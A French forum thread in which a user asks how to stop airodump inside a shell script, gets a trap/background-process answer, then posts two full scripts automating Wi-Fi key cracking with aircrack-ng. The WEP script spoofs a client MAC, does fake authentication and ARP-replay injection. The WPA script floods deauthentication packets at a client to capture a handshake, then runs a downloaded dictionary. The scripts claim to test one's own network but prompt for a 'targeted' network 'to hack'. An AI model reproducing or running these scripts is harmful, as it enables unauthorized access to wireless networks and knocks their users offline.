Besoin d'aide script shell

Résolu
Bonjour,

Je me permet de vous écrire, car j'essai d'écrire un script shell excécutant la commande airodump, et je souhaiterai que l'utilisateur puisse stopper cette commande pour que la suite du script puisse s'excécuter....

Donc si vous avez une petite idée:);)

Merci d'avance.

Clabman
Configuration: Linux
Firefox 2.0.0.6

2 réponses

  1. tu peux lancer cette commande en tache de fond
    commande &
    recuperer son numero de processus bien sur
    proc=$(ps -ef | grep commande | head -1 | awk '{print $2}')
    et par la suite par son numero de processus en trappant un code clavier comme ctrl-B par exemple tu peux tuer ce dit processus (voir le man page de trap)
    0
    1. ok merci, mais comment justement interpréter ce code clavier...dans mon script schell..

      Merci d'avance.

      Clabman
      0
    2. Modérateur
      @clabmanSalut,

      C'est marqué juste au-dessus : "(voir le man page de trap)" ;-))
      0
    3. @jipicyah oui désolé, j'avais pas vu...

      Merci beaucoup, j'essai ça et je vous dit quoi..

      Merci

      Clabman
      0
    4. @clabmanbha que tu as reussi ou que tu as pas reussi .....
      0
  2. J'ai réussi :)
    0
    1. Modérateur
      Happy for you ;-))

      On peut avoir un aperçu du script s'il te plaît, des fois que ça serve à d'autres ? Merci.
      0
    2. @jipicyok le voilà :
      C'est un script pour tester la sécurité de son réseau plus facilement, en supposant la suite aircrack-ng installer:)
      Celui ci est pour le wep:

      #!/bin/sh
      if [ "$(whoami)" != 'root' ]; then
      echo 'Need to be root';
      else
      echo "tout d'abord avant de faire quoi que ce soit installer macchanger."
      echo " quelle distribution possédez vous : debian, ubuntu, fedora, mandriva, suse ?"
      read distrib
      if [ $distrib = debian ]; then
      apt-get install macchanger
      echo "macchanger est correctement installé ? (ok?)"
      read to
      fi
      if [ $distrib = "ubuntu" ]; then
      apt-get install macchanger
      echo "macchanger est correctement installé ? (ok?)"
      read to
      fi
      if [ $distrib = fedora ]; then
      yum install macchanger
      echo "macchanger est correctement installé ? (ok?)"
      read to
      fi
      if [ $distrib = suse ]; then
      yum install macchanger
      echo "macchanger est correctement installé ? (ok?)"
      read to
      fi
      if [ $distrib = mandriva ]; then
      urpmi macchanger
      echo "macchanger est correctement installé ? (ok?)"
      read to
      fi
      if [ $to = ok ]; then
      echo 'nom de la carte capable de supporter mode monitor ?'
      read carte
      ifconfig $carte up
      airmon-ng start $carte
      echo 'nom du fichier où seront stockés les paquets ?'
      read nom_fichier
      echo 'repéré le réseau que vous souhaitez hackez (ok ?)'
      read ok
      if [ $ok = ok ]; then
      #echo 'nom de la carte capable de supporter mode monitor ?'
      #read carte
      airodump-ng --write $nom_fichier $carte &
      proc=$(ps -ef | grep airodump-ng | head -1 | awk '{print $2}')
      trap 'kill -9 $proc' INT QUIT
      echo 'quel est le nom du ssid ciblé ?'
      read nom
      echo 'quel est sa MAC ?'
      read mac
      echo 'sur quel channel émet t-il ?'
      read channel
      echo 'quand une station sera connecté faites ctrl + c(ok ?)'
      read dac
      if [ $dac = ok ]; then
      airodump-ng --write $nom_fichier --channel $channel --bssid $mac $carte
      echo "mac de la station connecté à l'ap"
      read station
      echo 'quel est le nom du ssid ciblé ?'
      read nom
      ifconfig $carte down
      macchanger -m $station $carte
      ifconfig $carte up
      echo 'ouvrez un autre terminal et lancer cette commande'
      echo 'airodump-ng --write' $nom_fichier ' --channel ' $channel ' --bssid' $mac $carte
      echo "(ok ?)"
      read yo
      if [ $yo = ok ]; then
      aireplay-ng -1 0 -e $nom -a $mac -h $station $carte
      echo " quand vous aurez plus de 1 millions d'IVS sur le terminal où s'excécute airodump vous pourrez faire ctrl + c pour arrétez aireplay. "
      aireplay-ng -3 -e $nom -b $mac -h $station $carte
      aircrack-ng -z *.cap
      echo "Si vous rencontrez un pb, sur l'excécution de la derniére commande essayez d'excutez cette commande :"
      echo "aircrack-ng -z "$nom_fichier"-0X avec X évoluant entre 1,2,3, 4....."
      echo "exemple aircrack-ng -z "$nom_fichier"-01"
      echo "aircrack-ng -z "$nom_fichier"-02"
      echo "aircrack-ng -z "$nom_fichier"-03"
      echo "aircrack-ng -z "$nom_fichier"-04"
      echo "aircrack-ng -z "$nom_fichier"-05"
      echo "en étant sur d'être dans ce dossier : "pwd
      fi
      fi
      fi
      fi
      fi

      ET voici celui pour le wpa :

      #!/bin/sh
      if [ "$(whoami)" != 'root' ]; then
      echo 'Need to be root';
      else
      echo 'nom de la carte capable de supporter mode monitor ?'
      read carte
      ifconfig $carte up
      airmon-ng start $carte
      echo 'nom du fichier où seront stockés les paquets ?'
      read nom_fichier
      echo 'repéré le réseau que vous souhaitez hackez (ok ?)'
      read ok
      if [ $ok = ok ]; then
      echo 'nom de la carte capable de supporter mode monitor ?'
      read carte
      airodump-ng --write $nom_fichier $carte &
      proc=$(ps -ef | grep airodump-ng | head -1 | awk '{print $2}')
      trap 'kill -9 $proc' INT QUIT
      echo 'quel est le nom du ssid ciblé ?'
      read nom
      echo 'quel est sa MAC ?'
      read mac
      echo 'sur quel channel émet t-il ?'
      read channel
      echo 'quand une station sera connecté faites ctrl + c(ok ?)'
      read dac
      if [ $dac = ok ]; then
      airodump-ng --write $nom_fichier --channel $channel --bssid $mac $carte
      echo "mac de la station connecté à l'ap"
      read station
      echo 'ouvrez un autre terminal et lancer cette commande'
      echo 'airodump-ng --write' $nom_fichier ' --channel ' $channel ' --bssid' $mac $carte
      echo "(ok ?)"
      read yo
      if [ $yo = ok ]; then
      suite=non
      while [ $suite != oui ]
      do
      aireplay-ng -0 200 -a $mac -c $station $carte
      echo ' Sur la fenetre où s execute airodump, vous verrez apparaitre en haut'
      echo "à droite le mot WPA handshake, Avez vous un handshake (oui, non)"
      read suite
      done
      if [ $suite = oui ]; then
      echo "avez vous un dico personnel (1) où souhaitez vous utilisez celui par défault (2)?"
      read rep;
      if [ $rep = 1 ]; then
      echo "indiquez le chemin du dico depuis la racine."
      read dico;
      fi
      if [ $rep = 2 ]; then
      wget ftp://ftp.ausmac.net/disk2/mirrors/openwall/wordlists/all.gz
      gunzip -c > all.lst ./all.gz
      dico=all.lst
      fi
      aircrack-ng -w $dico -0 *.cap
      echo "Si vous rencontrez un pb, sur l'excécution de la derniére commande essayez d'excutez cette commande :"
      echo "aircrack-ng -z "$nom_fichier"-0X avec X évoluant entre 1,2,3, 4....."
      echo "exemple aircrack-ng -z "$nom_fichier"-01"
      echo "aircrack-ng -z "$nom_fichier"-02"
      echo "aircrack-ng -z "$nom_fichier"-03"
      echo "aircrack-ng -z "$nom_fichier"-04"
      echo "aircrack-ng -z "$nom_fichier"-05"
      echo "en étant sur d'être dans ce dossier : "pwd
      fi
      fi
      fi
      fi
      fi
      0
    3. Modérateur
      @clabmanMerci ;-))
      0